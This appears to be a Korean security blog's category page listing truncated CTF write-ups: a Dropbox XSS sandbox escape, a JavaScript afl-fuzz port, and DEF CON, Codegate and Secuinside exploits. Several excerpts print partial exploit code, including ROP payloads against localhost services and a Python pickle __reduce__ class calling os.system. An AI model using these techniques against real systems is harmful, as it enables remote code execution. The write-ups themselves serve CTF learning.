본문 바로가기

Computer Security

XSS subdomain escape wirte up (on Dropbox) First, I think many people know that a html file uploaded on dropbox shows with rendering, and without any escaping. It means that, if we write down a JavaScript code to the html file, we can easily execute a JavaScript code on the html page without any problem.But, the script is executed on a sandbox domain, dl-web.dropbox.com. The important session is a httponly cookie, so we can't easily stea.. 더보기
afl-fuzz for javascript Naver Labs 인턴 기간동안, afl-fuzz 의 javascript engine 최적화 버전을 만들어보았다. https://github.com/tunz/afl-fuzz-js 우선 afl-fuzz에 대해서 간략하게 얘기하자면, 다른 일반적인 fuzzer 들과 마찬가지로 브루트포싱 기반이다. 다만 다른게 있다면, flow coverage 를 maximizing 하려고 한다. 무슨 말이냐면, 컴파일 하는 과정에 개입해서, jmp, call 등의 program의 path가 갈라지는 부분에 logging을 하는 어셈을 삽입한다. 그리고 fuzzer가 프로그램을 실행하면서, path 를 얼마나 커버했는지를 확인한다. 그리고, 브루트포싱으로 인풋을 넣다가, 새로운 path 를 찾으면 (한번도 로깅하지 못했던 .. 더보기
[Defcon 2014] HJ(2) byhd write up I think It is not a good solution. I did just brute-force to find encoded shellcode.It was first time to brute-force the remote binary, So I just want to share my experience. The method is that I hooked server side. So, server side send the encoded value to client.Then, client check if the encoded value is same with our shell code or not. I repeated this method. following code is server hooking .. 더보기
[Defcon 2014] 100 lines exploit 직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만. http://pastebin.com/MGKqAZhK from socket import *import time randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E.. 더보기
Python Pickle 취약점 이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다. 애초에, pickle이 안전하지 않다.다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다. 취약점은 __reduce__ method에서 발생한다. unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다. import cPickleimport os class exploit(object): def __reduce__(self): return (os.syste.. 더보기
[RuCTF 2014 quals] Reversing 500 First, it is packed by upx. so just unpack binary. then, because of undefined instruction(0F 0B), it starts exception handler.So, strcmp with "oh_nasty_boy!you_hacked_me:(hehe" is just fake. exception handler is in 0x4010d0. At 0x4010d0, insert keys and encode input. and finally compare with another real answer routine is as follow. 1. exception handler starts2. insert key to stack3. xor key wit.. 더보기
gs segment base address linux에서 %gs:0x10 이런식으로 접근할때, gs의 베이스주소를 알아내는법 $ strace -f ./바이너리 2>&1 | grep thread_area 더보기
[Codegate 2014 quals] Web 500 write up 이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다. 처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,그게 페이크였던것 같다여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문) 근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패.. 더보기
[secuinside 2013] debugd exploit ubuntu 13.10에서 재현 from socket import *from struct import *import time s = socket(AF_INET,SOCK_STREAM)s.connect(('localhost', 7744)) leaveret = 0x8048a68recv_plt = 0x8048770send_plt = 0x8048790bss = 0x804b080fake_ebp = bss+0x50send_got = 0x804b070ppppr = 0x804906c cmd = "id>&4\x00" payload = "1;"+"\x00"*(0x66c + 4 - 2)payload += pack(' 더보기
[Secuinside 2013] angry danbi exploit 우분투 12.04에서 재현 from socket import *from struct import *import time fputs_plt = 0x8048800fputs_got = 0x804B064recv_plt = 0x8048810send_plt = 0x8048830ppppr = 0x80499FCbss = 0x804c0dc cmd = "id>&4\x00" i=0while True: print "Send! %d" % i i += 1 s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',8080)) time.sleep(0.3) print s.recv(10000) #raw_input('go?') vmcode = "" # auth 2 vmcode += "#\x00\.. 더보기